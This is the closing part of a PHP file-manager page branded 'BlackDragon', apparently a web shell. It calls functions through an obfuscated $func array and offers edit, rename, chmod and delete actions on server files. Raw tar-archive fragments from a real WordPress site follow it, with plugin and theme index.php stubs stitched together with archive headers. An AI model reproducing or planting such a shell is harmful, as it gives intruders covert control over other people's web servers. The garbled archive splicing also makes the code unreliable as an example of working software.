                                                <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=chmod" class="btn btn-primary btn-sm"><i class="fas fa-file-signature"></i></a>
                                                <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=delete" class="btn btn-danger btn-sm" onclick="return confirm('Are you sure you want to delete this?')"><i class="fas fa-trash"></i></a>
                                            </div>
                                        <?php endif; ?>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                            <?php foreach ($dirs as $dir): if (!is_file($path . '/' . $dir)): continue; endif; ?>
                                <tr>
                                    <td>
                                        <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=view" class="text-blue-600 hover:underline"><i class="fas fa-file-code mr-2"></i><?php echo htmlspecialchars($dir); ?></a>
                                    </td>
                                    <td><?php echo $func[25]('mime_content_type') ? $func[24]($path . '/' . $dir) : $func[8]($path . '/' . $dir); ?></td>
                                    <td><?php echo fsize($path . '/' . $dir); ?></td>
                                    <td><?php echo getOwner($path . '/' . $dir); ?></td>
                                    <td><?php echo $func[11]($func[10]('%o', $func[6]($path . '/' . $dir)), -4); ?></td>
                                    <td><?php echo $func[23]("Y-m-d h:i:s", $func[7]($path . '/' . $dir)); ?></td>
                                    <td>
                                        <div class="flex gap-2">
                                            <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=edit" class="btn btn-primary btn-sm"><i class="fas fa-file-edit"></i></a>
                                            <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=rename" class="btn btn-primary btn-sm"><i class="fas fa-edit"></i></a>
                                            <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=chmod" class="btn btn-primary btn-sm"><i class="fas fa-file-signature"></i></a>
                                            <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=delete" class="btn btn-danger btn-sm" onclick="return confirm('Are you sure you want to delete this?')"><i class="fas fa-trash"></i></a>
                                        </div>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                </div>
                <div class="text-center text-gray-500 mt-4">
                    &copy; BlackDragon <?php echo date('Y'); ?>
                </div>
            <?php endif; ?>
        </div>
    <?php endif; ?>
    <script>
        function copyText() {
            var textarea = document.getElementById("CopyFromTextArea");
            textarea.select();
            document.execCommand("copy");
        }
    </script>
</body>
</html>
<?php ob_end_flush(); ?>wp-content/plugins/google-analytics-for-wordpress/lite/includes/admin/user-journey/index.php000064400000000101151547726010036610 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
httpdocs/wp-content/plugins/google-analytics-for-wordpress/includes/admin/reports/index.php000064400000000101151550007660034677 0ustar00var/www/vhosts/uyarreklam.com.tr<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
httpdocs/wp-content/plugins/google-analytics-for-wordpress/includes/frontend/events/index.php000064400000000101151550376700035240 0ustar00var/www/vhosts/uyarreklam.com.tr<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/themes/vadimarketv4/inc/temapanel/index.php000064400000000035151551232040027232 0ustar00<?php // Silence is golden.
httpdocs/wp-content/plugins/google-analytics-for-wordpress/includes/frontend/tracking/index.php000064400000000101151551442560035535 0ustar00var/www/vhosts/uyarreklam.com.tr<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
uyarreklam.com.tr/httpdocs/wp-content/plugins/google-analytics-for-wordpress/assets/css/index.php000064400000000101151552030050032364 0ustar00var/www/vhosts<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
httpdocs/wp-content/plugins/google-analytics-for-wordpress/assets/css/images/index.php000064400000000101151554257070033650 0ustar00var/www/vhosts/uyarreklam.com.tr<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
plugins/google-analytics-for-wordpress/lite/includes/admin/user-journey/providers/index.php000064400000000101151556165140040626 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );